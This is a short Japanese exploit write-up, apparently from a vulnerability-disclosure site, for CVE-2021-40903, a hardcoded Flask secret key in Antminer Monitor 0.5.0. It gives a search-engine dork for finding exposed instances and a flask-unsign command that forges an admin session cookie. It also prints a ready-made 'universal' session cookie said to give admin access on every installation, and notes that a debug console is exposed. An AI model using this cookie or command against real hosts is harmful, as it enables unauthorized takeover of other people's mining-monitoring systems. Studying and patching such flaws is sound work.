vulnz/cve-2021-40903CVE-2021-40903
日付: 09/06/2021
Dork:https://www.zoomeye.org/searchResult?q=%22antminer%20monitor%22 エクスプロイト作者: CQR.company / Vulnz.
ベンダーホームページ: https://github.com/anselal/antminer-monitor, https://twitter.com/intent/follow?screen_name=AntminerMonitor
ソフトウェアリンク: https://github.com/anselal/antminer-monitor, https://soulis.tech/
バージョン: 0.5.0
テスト済み: Windows, Linux, Macos
このソフトウェアは Antminer のモニタリングに一般的に使用されており、zoomeye（800件）、shodan（500件）で簡単に 見つけることができます。 現時点では、これが最も人気のある Antminer モニタリングツールです。 Antminer Monitor の脆弱性は、バックドアまたは 設定ミスが原因で存在します。
これは、Flask サーバーの設定ファイル内で開発者が行ったものです。
設定ファイルには、ランダムに生成されるはずの定義済みシークレット文字列がありますが、 実際にはこのビルドでは静的な値です。 build.antminer-monitor/settings.py at 5c62e1064af30674bacb9e1917d5980efbde1fcd · anselal/antminer-monitor · GitHub https://github.com/anselal/antminer-monitor/blob/5c62e1064af30674bacb9e1917d5980efbde1fcd/config/settings.py
シークレットキーは 'super secret key' です。
この情報に基づいて、認証バイパス用の Cookie を作成できます。
flask-unsing ソフトウェアを使用すると、管理者アクセスを提供する Cookie を 生成できます。
flask-unsign --sign --cookie "{'_fresh': True, '_id': b'df230a95eb5318d31fa83690c667cfd6a824dbfe61949bf30b9d75e71c6ea20714b87113fcafe2340df9a8a6f3567e7a2faedc2c12d05e4e338558e47afe84f6', '_user_id': '1', 'csrf_token': b'15d0261b7f3f40849920ebb94f7a2368397f76ff'}" --secret "super secret key"
さらに、このユニバーサル Cookie を使用して、Flask アプリケーションの Web インターフェースに アクセスできます。
この Cookie は、すべてのシステムで "session" フィールドに使用できます。
.eJw9j81Og0AURl_FzLoLfmTTpAubaQkm9xLMpeTeTaNAGQdGE9BQp-m7O3HhA3zfOeemzpe5X4zaXl6npd-o83untjf18Ka2SnL-Ab83JZ0mtrUHMiP4o2MaPNpxZc8JJuhEiyl1EUn-7IT4WlKVsWMPeZGJbmOh9speJqZiRX-I2A4p0MGLQyOuDoxqDayMyRgMOyROhToDTow0LxYcXMFVKzZ1JAS-1HVc5nWEyTHwhkgs79Q9uH8v_fwXoGK1Ue0yX85fn2P_8V8EdBpBFwk0RSoWHeqnR9RjBnY_sSsyzDkNlqFu8CV1DoOjDLvwfv8FnZ1jTQ.YS2Hvw.a-bvt7Y4e2kKNs0iXkRxHnRRJAU
さらに、DEBUG = True のため、/console が機能しますが、pin が必要です。
